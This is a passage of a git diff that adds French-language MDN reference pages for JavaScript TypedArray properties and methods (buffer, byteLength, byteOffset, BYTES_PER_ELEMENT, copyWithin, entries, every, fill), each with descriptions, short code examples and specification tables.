+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.@@species")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/buffer/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/buffer/index.html
new file mode 100644
index 0000000000..a38c0c8d0e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/buffer/index.html
@@ -0,0 +1,68 @@
+---
+title: TypedArray.prototype.buffer
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/buffer
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>buffer</code></strong> est un accesseur représentant l'{{jsxref("ArrayBuffer")}} représenté par le <em>TypedArray</em> lors de la construction de l'objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-buffer.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedArray</var>.buffer</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>buffer</code> est un accesseur dont le mutateur correspondant vaut <code>undefined</code>. Cela signifie que cette propriété n'est accessible qu'en lecture seule. La valeur de la propriété est déterminée lors de la construction du <em>TypedArray</em> et ne peut pas être modifiée. <em>TypedArray</em> est un des objets <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">TypedArray</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint16 = new Uint16Array(buffer);
+uint16.buffer; // ArrayBuffer { byteLength: 8 }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.buffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/bytelength/index.html
new file mode 100644
index 0000000000..b48d71dec5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/bytelength/index.html
@@ -0,0 +1,75 @@
+---
+title: TypedArray.prototype.byteLength
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/byteLength
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>byteLength</code></strong> est un accesseur qui représente la longueur, exprimée en octets, du tableau typé à partir du début de l'{{jsxref("ArrayBuffer")}} correspondant.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-bytelength.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.byteLength</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>byteLength</code> est un accesseur dont le mutateur correspondant vaut <code>undefined</code>, ce qui signifie qu'elle n'est accessible qu'en lecture. La valeur de la propriété est déterminée lors de la construction du <em>TypedArray</em> et ne peut pas être modifiée. Si l'objet <em>TypedArray</em> n'utilise pas de <code>byteOffset</code> ou une <code>length</code>, ce sera la propriété <code>length</code> de l'<code>ArrayBuffer</code> référencé par le tableau qui sera renvoyée. <em>TypedArray</em> est l'un des objets <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">TypedArray</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var tampon = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(tampon);
+uint8.byteLength; // 8 (correspond au byteLength du tampon correspondant)
+
+var uint8 = new Uint8Array(tampon, 1, 5);
+uint8.byteLength; // 5 (correspond à la longueur spécifiée dans le constructeur)
+
+var uint8 = new Uint8Array(tampon, 2);
+uint8.byteLength; // 6 (en raison du décalage utilisé pour la construction du Uint8Array)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.byteLength")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/byteoffset/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/byteoffset/index.html
new file mode 100644
index 0000000000..8ede8e1fff
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/byteoffset/index.html
@@ -0,0 +1,68 @@
+---
+title: TypedArray.prototype.byteOffset
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/byteOffset
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>byteOffset</code></strong> est un accesseur qui représente le décalage, exprimé en octets, entre le début du tableau typé par rapport au début du {{jsxref("ArrayBuffer")}} correspondant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.byteOffset</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>byteOffset</code> est un accesseur dont le mutateur correspondant vaut <code>undefined</code>, ce qui signifie qu'elle n'est accessible qu'en lecture seule. La valeur de cette propriété est déterminée lors de la construction du <em>TypedArray</em> et ne peut pas être modifiée.<em> TypedArray</em> est l'un des objets <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">TypedArray</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var tampon = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(tampon);
+uint8.byteOffset; // 0 (aucun décalage n'a été défini)
+
+var uint8 = new Uint8Array(tampon, 3);
+uint8.byteOffset; // 3 (correspond au décalage défini lors de la construction du Uint8Array)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.byteOffset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/bytes_per_element/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/bytes_per_element/index.html
new file mode 100644
index 0000000000..948b4bb412
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/bytes_per_element/index.html
@@ -0,0 +1,80 @@
+---
+title: TypedArray.BYTES_PER_ELEMENT
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/BYTES_PER_ELEMENT
+tags:
+  - JavaScript
+  - Propriété
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>TypedArray.BYTES_PER_ELEMENT</strong></code> représente la taille, exprimée en octets, de chaque élément du tableau typé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-bytes-per-element.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>TypedArray</var>.BYTES_PER_ELEMENT;</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La taille des éléments d'un tableau typé varie en fonction du type de <code>TypedArray</code> utilisé. Le nombre d'octets utilisé pour un élément sera différent en fonction du type de tableau. La propriété <code>BYTES_PER_ELEMENT</code> permet de savoir le nombre d'octets contenus dans chaque élément du tableau typé courant.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">Int8Array.BYTES_PER_ELEMENT;         // 1
+Uint8Array.BYTES_PER_ELEMENT;        // 1
+Uint8ClampedArray.BYTES_PER_ELEMENT; // 1
+Int16Array.BYTES_PER_ELEMENT;        // 2
+Uint16Array.BYTES_PER_ELEMENT;       // 2
+Int32Array.BYTES_PER_ELEMENT;        // 4
+Uint32Array.BYTES_PER_ELEMENT;       // 4
+Float32Array.BYTES_PER_ELEMENT;      // 4
+Float64Array.BYTES_PER_ELEMENT;      // 8</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Spécification englobée par ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.BYTES_PER_ELEMENT")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/copywithin/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/copywithin/index.html
new file mode 100644
index 0000000000..3cc0a22542
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/copywithin/index.html
@@ -0,0 +1,87 @@
+---
+title: TypedArray.prototype.copyWithin()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/copyWithin
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>copyWithin()</strong></code> permet de copier des éléments d'un tableau dans le tableau typé à partir de la position <code>cible</code>. Les éléments copiés sont ceux contenus entre les index <code>début</code> et <code>fin</code>. L'argument <code>fin</code> est optionnel, sa valeur par défaut correspondra à la longueur du tableau dont on souhaite copier les éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.copyWithin")}}<em>.</em> <em>TypedArray</em> est l'un des types de <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-copywithin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.copyWithin(<var>cible</var>, <var>début</var>[, fin = this.length])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>La position, dans le tableau typé, à partir de laquelle on souhaite copier les éléments.</dd>
+ <dt><code>début</code></dt>
+ <dd>La position du tableau contenant les éléments à copier à partir de laquelle copier les éléments.</dd>
+ <dt><code>fin {{optional_inline}}</code></dt>
+ <dd>Paramètre optionnel. La position jusqu'à laquelle prendre les éléments à copier.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau typé, modifié par la fonction.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir la page {{jsxref("Array.prototype.copyWithin")}} pour plus d'informations.</p>
+
+<p>Cette méthode remplace la méthode expérimentale {{jsxref("TypedArray.prototype.move()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+uint8.set([1,2,3]);
+console.log(uint8); // Uint8Array [ 1, 2, 3, 0, 0, 0, 0, 0 ]
+uint8.copyWithin(3,0,3);
+console.log(uint8); // Uint8Array [ 1, 2, 3, 1, 2, 3, 0, 0 ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.copyWithin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/entries/index.html
new file mode 100644
index 0000000000..14891965ba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/entries/index.html
@@ -0,0 +1,93 @@
+---
+title: TypedArray.prototype.entries()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/entries
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/entries
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>entries()</code></strong> renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-entries.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.entries()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Array Iterator</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_un_tableau_avec_une_boucle_for...of">Parcourir un tableau avec une boucle <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.entries();
+// prérequis nécessaire : le navigateur doit
+// supporter les boucles for..of
+// et les variables dont la portée est définie par let
+for (let n of eArray) {
+  console.log(n);
+}
+</pre>
+
+<h3 id="Une_autre_méthode_d'itération">Une autre méthode d'itération</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.entries();
+console.log(eArr.next().value); // [0, 10]
+console.log(eArr.next().value); // [1, 20]
+console.log(eArr.next().value); // [2, 30]
+console.log(eArr.next().value); // [3, 40]
+console.log(eArr.next().value); // [4, 50]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.entries', '%TypedArray%.prototype.entries()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.entries', '%TypedArray%.prototype.entries()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.entries")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.keys()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.values()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/every/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/every/index.html
new file mode 100644
index 0000000000..479490d910
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/every/index.html
@@ -0,0 +1,110 @@
+---
+title: TypedArray.prototype.every()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/every
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/every
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>every()</strong></code> teste si tous les éléments du tableau typé satisfont une condition implémentée par la fonction de test fournie. Cette méthode utilise le même algorithme {{jsxref("Array.prototype.every()")}}. Pour le reste de cet article, <em>TypedArray</em> correspond à un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-every.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.every(<var>callback</var>[, <var>thisArg</var>])&gt;</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction utilisée pour tester chaque élément du tableau. Elle utilise trois arguments :
+ <dl>
+  <dt><code>valeurCourante</code></dt>
+  <dd>L'élément du tableau typé qui est en cours de traitement.</dd>
+  <dt><code>index</code></dt>
+  <dd>L'indice de l'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau typé sur lequel on a appelé la méthode <code>every</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Paramètre optionnel, la valeur à utiliser en tant que <code>this</code> lors de l'exécution de <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la fonction de rappel obtient une valeur équivalente à vrai (<em>truthy</em>) pour chaque élément du tableau typé, <code>false</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>every</code> exécute la fonction <code>callback</code> fournie pour chaque élément du tableau typé jusqu'à ce que <code>callback</code> renvoie une valeur fausse (une valeur qui vaut <code>false</code> lorsqu'elle est convertie en un booléen). Si un tel élément est trouvé, la méthode <code>every</code> renvoie immédiatement <code>false</code>. Dans le cas contraire, si <code>callback</code> renvoie une valeur vraie pour tous les éléments, la méthode <code>every</code> renverra <code>true</code>.</p>
+
+<p><code>callback</code> est appelé avec trois arguments : la valeur de l'élément, l'indice de cet élément et le tableau qui est parcouru.</p>
+
+<p>Si le paramètre <code>thisArg</code> est utilisé, il sera passé à la fonction <code>callback</code> en tant que valeur <code>this</code>. Sinon, la valeur <code>undefined</code> sera utilisée comme valeur <code>this</code>. La valeur <code>this</code> définitivement prise en compte par la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">les règles usuelles de détermination de <code>this</code></a>.</p>
+
+<p><code>every</code> ne modifie pas le tableau typé sur lequel elle a été appelée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Tester_la_taille_des_éléments_d'un_tableau_typé">Tester la taille des éléments d'un tableau typé</h3>
+
+<p>Dans l'exemple suivant, on teste si tous les éléments du tableau typé sont supérieurs à 10 :</p>
+
+<pre class="brush: js  language-js">function estGrand(element, index, array) {
+  return element &gt;= 10;
+}
+new Uint8Array([12, 5, 8, 130, 44]).every(estGrand);   // false
+new Uint8Array([12, 54, 18, 130, 44]).every(estGrand); // true</pre>
+
+<h3 id="Tester_les_éléments_d'un_tableau_typé_avec_les_fonctions_fléchées">Tester les éléments d'un tableau typé avec les fonctions fléchées</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">Les fonctions fléchées</a> permettent d'utiliser une syntaxe plus concise pour parvenir au même résultat :</p>
+
+<pre class="brush: js">new Uint8Array([12, 5, 8, 130, 44]).every(elem =&gt; elem &gt;= 10); // false
+new Uint8Array([12, 54, 18, 130, 44]).every(elem =&gt; elem &gt;= 10); // true</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.every")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/fill/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/fill/index.html
new file mode 100644
index 0000000000..23b108a69f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/fill/index.html
@@ -0,0 +1,100 @@
+---
+title: TypedArray.prototype.fill()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/fill
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/fill
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>fill()</strong></code> remplit les éléments d'un tableau typé contenu entre un indice de début et un indice de fin avec une valeur statique. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.fill()")}}. Dans le reste de cet article, <em>TypedArray</em> correspond à l'un des <a href="/fr/docs/Web/JavaScript/Tableaux_typés#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-fill.html")}}</div>
+
